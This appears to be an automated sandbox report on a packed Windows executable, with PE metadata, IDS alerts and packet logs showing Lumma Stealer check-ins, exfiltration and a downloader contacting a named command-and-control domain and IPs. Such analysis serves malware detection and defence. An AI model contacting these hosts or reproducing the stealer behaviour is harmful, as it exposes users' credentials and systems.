Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948229548282172
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'865'728 bytes
MD5:	15c208e661e876be436f23a5ad2514f6
SHA1:	2cd91d82d3859671404a7107295085753dda5c30
SHA256:	e5bef128d5c8332b25b485409dfa7eac3d06c3c9a45cb0a3decc7592e6fabdb9
SHA512:	2f446150eb45141e2f7a21b243073906bdf7bf12d0e14a167b28571528639955ba5227d05c633328a1309a4a21d16f49c2fd10d00f4e2a39de59b2b58941d305
SSDEEP:	24576:nAJ6DRNr6tux3yEmhT/Kgtm3vL5lMm4e9r2gxTSxw4fIjK6tZmLWj/JyF4XGv7wn:66DPzxNGm3T5lMm4e9qCTZtuamRT5Qd
TLSH:	728533635A5F0859CA4AD879A5622F0C6F007B4F2AB45A6791CC27B57E00F4C23CEA9D
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Lg............................. J...........@..........................PJ......I....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674CEE8B [Sun Dec 1 23:17:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF7B4DB944Ah
orps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FF7B4DBB445h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4f05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4e000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x4d000	0x21e00	43f0b4dfcbce27f4517b23168fb4cf29	False	1.0003675622693726	data	7.977437130213355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4e000	0x1ac	0x200	32b10b92f329957cf1ccddba076eb6b2	False	0.58203125	data	4.596850070421013	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x4f000	0x1000	0x200	76384c610a15652eb9ef262cec63ccf7	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x50000	0x2af000	0x200	b6fbf0bf099201c69ee575b97f89e59e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kyakkiqf	0x2ff000	0x1a2000	0x1a1e00	4d615abf347af4c94450d9902a2e36e4	False	0.9947797870550403	data	7.95475724086399	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vyvolfkl	0x4a1000	0x1000	0x400	110cd9691d129a5e33c989468aea46c6	False	0.798828125	data	6.182293331688116	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a2000	0x3000	0x2200	a3f4f9c0b1f41424016a63d6e050be66	False	0.04239430147058824	DOS executable (COM)	0.40530993646651897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a0c28	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T17:40:59.480361+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.7	54230	1.1.1.1	53	UDP
2024-12-03T17:41:01.079487+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49699	104.21.16.9	443	TCP
2024-12-03T17:41:01.079487+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	104.21.16.9	443	TCP
2024-12-03T17:41:03.736022+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	104.21.16.9	443	TCP
2024-12-03T17:41:03.736022+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	104.21.16.9	443	TCP
2024-12-03T17:41:05.140768+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49700	104.21.16.9	443	TCP
2024-12-03T17:41:05.140768+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	104.21.16.9	443	TCP
2024-12-03T17:41:07.673795+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	104.21.16.9	443	TCP
2024-12-03T17:41:07.673795+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	104.21.16.9	443	TCP
2024-12-03T17:41:09.291376+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49702	104.21.16.9	443	TCP
2024-12-03T17:41:09.291376+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	104.21.16.9	443	TCP
2024-12-03T17:41:12.102935+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49702	104.21.16.9	443	TCP
2024-12-03T17:41:14.061622+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49708	104.21.16.9	443	TCP
2024-12-03T17:41:14.061622+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49708	104.21.16.9	443	TCP
2024-12-03T17:41:18.214883+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49722	104.21.16.9	443	TCP
2024-12-03T17:41:18.214883+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49722	104.21.16.9	443	TCP
2024-12-03T17:41:22.618886+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49735	104.21.16.9	443	TCP
2024-12-03T17:41:22.618886+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49735	104.21.16.9	443	TCP
2024-12-03T17:41:26.810997+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49745	104.21.16.9	443	TCP
2024-12-03T17:41:26.810997+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49745	104.21.16.9	443	TCP
2024-12-03T17:41:33.251593+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49759	104.21.16.9	443	TCP
2024-12-03T17:41:33.251593+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49759	104.21.16.9	443	TCP
2024-12-03T17:41:34.107699+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49759	104.21.16.9	443	TCP
2024-12-03T17:41:35.625444+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49764	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 17:40:51.673907995 CET	49671	443	192.168.2.7	204.79.197.203
Dec 3, 2024 17:40:51.986099005 CET	49671	443	192.168.2.7	204.79.197.203
Dec 3, 2024 17:40:52.595417976 CET	49671	443	192.168.2.7	204.79.197.203
Dec 3, 2024 17:40:53.798667908 CET	49671	443	192.168.2.7	204.79.197.203
Dec 3, 2024 17:40:53.908041000 CET	49674	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:40:53.910919905 CET	49675	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:40:54.064193964 CET	49672	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:40:56.204766989 CET	49671	443	192.168.2.7	204.79.197.203
Dec 3, 2024 17:40:59.796262026 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:40:59.796324968 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:40:59.796394110 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:40:59.799626112 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:40:59.799649000 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:00.220834017 CET	49677	443	192.168.2.7	20.50.201.200
Dec 3, 2024 17:41:00.595393896 CET	49677	443	192.168.2.7	20.50.201.200
Dec 3, 2024 17:41:01.017286062 CET	49671	443	192.168.2.7	204.79.197.203
Dec 3, 2024 17:41:01.079421043 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:01.079487085 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:01.083005905 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:01.083022118 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:01.083273888 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:01.126660109 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:01.135674953 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:01.135700941 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:01.135824919 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:01.345437050 CET	49677	443	192.168.2.7	20.50.201.200
Dec 3, 2024 17:41:02.845415115 CET	49677	443	192.168.2.7	20.50.201.200
Dec 3, 2024 17:41:03.517358065 CET	49674	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:03.518903017 CET	49675	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:03.673715115 CET	49672	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:03.736025095 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:03.736464024 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:03.736691952 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:03.746087074 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:03.746087074 CET	49699	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:03.746125937 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:03.746140957 CET	443	49699	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:03.815283060 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:03.815341949 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:03.818583965 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:03.818936110 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:03.818952084 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:05.140635014 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:05.140768051 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:05.168843031 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:05.168863058 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:05.169158936 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:05.171641111 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:05.171678066 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:05.171745062 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:05.829826117 CET	49677	443	192.168.2.7	20.50.201.200
Dec 3, 2024 17:41:06.804409981 CET	443	49698	104.98.116.138	192.168.2.7
Dec 3, 2024 17:41:06.807041883 CET	49698	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:07.673824072 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.675090075 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.675173044 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.675201893 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.676146030 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.676227093 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.676234007 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.678230047 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.678287029 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.678293943 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.686896086 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.686964989 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.686973095 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.707746983 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:07.707781076 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:07.707861900 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:07.708204985 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:07.708215952 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:07.736068010 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.736077070 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.782937050 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.803162098 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.845470905 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.845480919 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.874927044 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.874977112 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.874986887 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.878607988 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.878679991 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.878704071 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.878751993 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.878954887 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.878973007 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.878985882 CET	49700	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.878993034 CET	443	49700	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.971623898 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.971654892 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:07.971755028 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.972121000 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:07.972135067 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:09.291248083 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:09.291376114 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:09.292581081 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:09.292596102 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:09.292833090 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:09.293967009 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:09.294131041 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:09.294162035 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:09.502888918 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.502985001 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:09.505883932 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:09.505901098 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.506393909 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.514919996 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:09.555330992 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.984451056 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.984476089 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.984493971 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.984530926 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:09.984550953 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:09.984569073 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:09.984596968 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.172820091 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.172862053 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.172962904 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.172979116 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.173022032 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.217006922 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.217029095 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.217088938 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.217098951 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.217123985 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.217144966 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.354741096 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.354780912 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.354969978 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.354970932 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.354995012 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.355072975 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.393867970 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.393892050 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.394069910 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.394077063 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.394125938 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.416297913 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.416325092 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.416496038 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.416501999 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.416551113 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.435622931 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.435642958 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.435791016 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.435797930 CET	443	49701	13.107.246.63	192.168.2.7
